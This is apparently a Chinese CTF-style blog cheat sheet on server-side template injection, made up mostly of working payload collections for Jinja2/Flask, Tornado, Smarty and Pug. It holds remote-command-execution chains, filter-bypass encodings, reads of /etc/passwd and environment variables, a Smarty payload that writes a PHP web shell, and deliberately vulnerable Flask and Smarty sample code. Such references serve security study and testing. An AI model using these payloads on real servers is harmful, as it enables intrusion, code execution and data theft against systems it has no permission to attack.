SSTI

Last updated on September 27, 2024 am

SSTI简介

SSTI(server-side template injection) 服务端模板注入。当攻击者能够使用本地模板语法将恶意负载注入模板,然后在服务器端执行时,就会发生服务器端模板注入。

直接将用户的输入写入到模板中就会导致模板注入。

SSTI第一步是要找到注入的位置,然后识别模板引擎,只有模板引擎判断正确了,才能找相应的payload,以下是判断模板引擎类型的方法,

  • 通过测试使系统报错,从而看到使用的引擎

可能使系统报错的payload

1
2
3
4
5
6
7
8
9
10
11
12
${}
{{}}
<%= %>
${7/0}
{{7/0}}
<%= 7/0 %>
${foobar}
{{foobar}}
<%= foobar %>
${7*7}
{{7*7}}
``
  • 通过数学表达式测试模板

python类

wappalyzer判断框架

Jinja2模板注入

https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters(语法)

一下例子用于快速起环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first.
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)

@app.route("/")
def index():
exploit = request.args.get('exploit')
print exploit

rendered_template = render_template("app.html", exploit=exploit)
print(rendered_template)

return render_template_string(rendered_template)

if __name__ == "__main__":
app.run(debug=True)

Jinja2是Python的flask框架的一部分

jinja2的模板形式

1
2
3
{% %} # 控制结构
{{ }} # 变量表示符
{# #} # 注释
1
2
3
4
5
6
<ul>
{{#举个例子#}}
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>

漏洞产生:模板的html代码写在Python文件中,并且模板中有写入用户可以控制的变量

测试注入点

1
{{2*2}} #返回4
常规payload

思路基本上都是为了找到builtins然后链上RCE,一般是先找到object然后列出所有子类,然后走init到global再到builtins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#命令执行
# <class 'subprocess.Popen'>
{{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
# <class '_frozen_importlib.BuiltinImporter'>
{{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}
# <class 'click.utils.LazyFile'>
{{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/tmp/""f""l""a""g").read().encode().hex()}}
# <class 'warnings.catch_warnings'>
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %}
{{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}
{%print(().__class__.__base__.__subclasses__()[138]["__in"+"it__"].__globals__["__builtins__"]["__imp"+"ort__"]("os").__dict__["pop"+"en"]("cat flag").read())%}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}}

#目录扫描
# <class '_frozen_importlib._ModuleLock'>
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}
{{"".__class__.__base__.__subclasses__()[104].__init__.__globals__["__builtins__"]["__imp""ort__"]("o""s").listdir("/")}}
文件读取
# <class '_frozen_importlib_external.FileLoader'>
{{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}
# <class 'click.utils.LazyFile'>
{{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}
这里是数字是().__class__.__base__.__subclasses__()的内容中click.utils.LazyFile的位置,从0开始算
{% for c in [].__class__.__base__.__subclasses__() %}
{% if 'FileLoader' in c.__name__ %}
{{ c["get_data"](0, "/flag") }}
{% endif %}
#获取配置
{{config}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config}}
#读环境变量
{{}''.__str__.__globals__[app].__init__.__globals__[os].environ}}

#其他payload收集
{{ ""|attr("\x5f\x5fCLASS\x5f\x5f"|lower)|attr("\x5f\x5fBASE\x5f\x5f"|lower)|attr("\x5f\x5fsubCLASSES\x5f\x5f"|lower)() }}
{% for c in "".__class__.__base__.__subclasses__() %}{% if "Popen" in c.__name__ %}{{ c|attr("\x5f\x5fname\x5f\x5f") }}, {{ loop|attr("index0") }}{% endif %}{% endfor %} //509
{% for c in "".__class__.__base__.__subclasses__() %}{% if "Popen" in c.__name__ %}{{ c("id",shell=True,stdout=-1)|attr("communicate")() }}}}{% endif %}{% endfor %}
{{ ""|attr("\x5f\x5fCLASS\x5f\x5f"|lower)|attr("\x5f\x5fBASE\x5f\x5f"|lower)|attr("\x5f\x5fsubCLASSES\x5f\x5f"|lower)()|attr("pop")(509)("id",shell=True,stdout=-1)|attr("communicate")() }}

数字需要根据返回的数据进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
##class位置脚本
import re

a = "[<class 'type'>, <class 'async_generator'>, <class 'int'>]"

pattern = r"<class '[^']+'>"
matches = re.findall(pattern, a)
my_list = [match for match in matches]
print(my_list)

j = 0
for i in my_list:
j += 1
if 'subprocess.Popen' in i:
print(j)

__init__要获取__global__需要这个__init__是重载过的才有__global__属性

筛选出重载过的__init__类的类

1
2
3
4
l = len(''.__class__.__mro__[2].__subclasses__())
for i in range(l):
if 'wrapper' not in str(''.__class__.__mro__[2].__subclasses__()[i].__init__):
print (i, ''.__class__.__mro__[2].__subclasses__()[i])
利用内置函数的payload
1
2
3
4
5
6
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路

flask的内置函数只有flask的渲染方法render_template()和render_template_string()渲染时才可使用;

jinja2的内置函数无条件,flask和jinja2的渲染方法都可使用

较短的payload
1
2
3
4
5
6
7
8
9
10
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__["o""s"]["po""pen"]("pwd").read()}}
{{lipsum['__glob''als__']['__built''ins__']['ev''al'](request.data)}}
{{cycler.__init__.__globals__.os.popen('id').read()}}{{joiner.__init__.__globals__.os.popen('id').read()}}{{namespace.__init__.__globals__.os.popen('id').read()}}
{{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}&a=__import__("os").popen("id").read()
{{g["p""op"]["__globals__"]["__builtins__"]["__imp""ort__"]("o""s")["po""pen"](get_flashed_messages.__globals__["requ""est"]["args"]["g""et"]("abu"))["re""ad"]()}}
bypass

https://0day.work/jinja2-template-injection-filter-bypasses/

使用以上payload有可能会遇到一些过滤

过滤.
1
2
3
4
1、用[]代替.,举个例子
{{"".__class__}}={{""['__class']}}
2、用attr()过滤器绕过,举个例子
{{"".__class__}}={{""|attr('__class__')}}
过滤_
1
2
3
4
1、通过list获取字符列表,然后用pop来获取_,举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
2、可以通过十六进制编码的方式进行绕过,举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}
过滤[]
1
__bases__[0]=__bases__.__getitem__(0)
过滤{{` 用`{% %}`代替`{{}}
1
2
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}} #修改前
{%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read())%} #修改后
过滤'"
1
{{url_for.__globals__[request.args.a]}}&a=__builtins__  等同于 {{url_for.__globals__['__builtins__']}}

其他request方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 参数传递(GET|POST都可)
""[request.values.x1]
# GET方法传参
{{""[request.args.x1]}}&x1=__class__
# POST方法传参
""[request.form.x1]
POST: x1=__class__
# headers头
""[request.headers.x1]
x1: __class__
# User-Agent
""[request.user_agent.string]
User-Agent: __class__
# Cookie
""[request.cookies.x1]
Cookie: x1=__class__
过滤数字
1
2
{{(dict(e=a)|join|count)}} #获取数字1
{{(dict(ee=a)|join|count)}} #获取数字2
过滤关键字
1
2
3
class  .__class__=['__cla'+'ss__'] 
init {{dict(__in=a,it__=a)|join}} =__init__
若在双引号里面则拆分绕过

靶场

https://blog.51cto.com/u_15847702/5976200

tornado模板注入

基本语法
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<ul>
{% for item in items %}
<li>{{ escape(item) }}</li>
{% end %}
</ul>
</body>
</html>

官方文档

变量别名
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{% extends "/etc/passwd"%} #文件读取
{% include "/etc/passwd"%} #文件读取
{% import os %}{{os.popen("ls").read()}} #引入模块实现rce
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.get_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.cookies}} //返回cookie值
{{handler.get_cookie("data")}} //返回cookie中data的值
{{handler.decode_argument('\u0066')}} //返回f,其中\u0066为f的unicode编码
{{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.settings}} //比如传入application.settings中的值
{{request.method}} //返回请求方法名 GET|POST|PUT...
{{request.query}} //传入?a=123 则返回a=123
{{request.arguments}} //返回所有参数组成的字典
{{request.cookies}} //同{{handler.cookies}}
{{globals()}}
{{eval('__import__("os").popen("ls").read()')}}
jinjia2的payload
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
过滤_
1
2
{{eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()
过滤'
1
2
3
{{eval(handler.get_argument(request.method))}}
?GET=__import__("os").popen("ls").read()
?POST=__import__("os").popen("ls").read()
过滤()
1
2
print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]))
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}

php类

Smarty模板注入

1
2
{}
{**} #注释符

产生漏洞的代码,直接将用户的输入

1
2
3
4
5
6
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}
1
2
3
4
5
6
7
8
9
10
11
{$smarty.version} #查看smarty版本
{$smarty.template} #返回当前模板的文件名
{phpinfo()}
{self::getStreamVariable("file:///etc/passwd")} 版本<3.1.30
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
{php}phpinfo();{/php} 版本<3
{literal}<script>alert('xss');</script>{/literal} #用于xss

常见注入点:

  1. post data
  2. XFF

几个cve

https://xz.aliyun.com/t/12220

nodejs

pugjs

1
2
3
#{7*7}
#{this.global.process.mainModule.require("child_process").execSync('cat /flag')}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

C#类

Razor

https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection

一道例题(TUCTF)

https://github.com/4n86rakam1/writeup/blob/main/TUCTF_2023/Web/Aspiring_Calculator/index.md

参考资料

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

https://tyskill.github.io/posts/flaskssti/

https://tttang.com/archive/1698/#toc

https://blog.csdn.net/miuzzx/article/details/123329244


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/06/11/SSTI/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!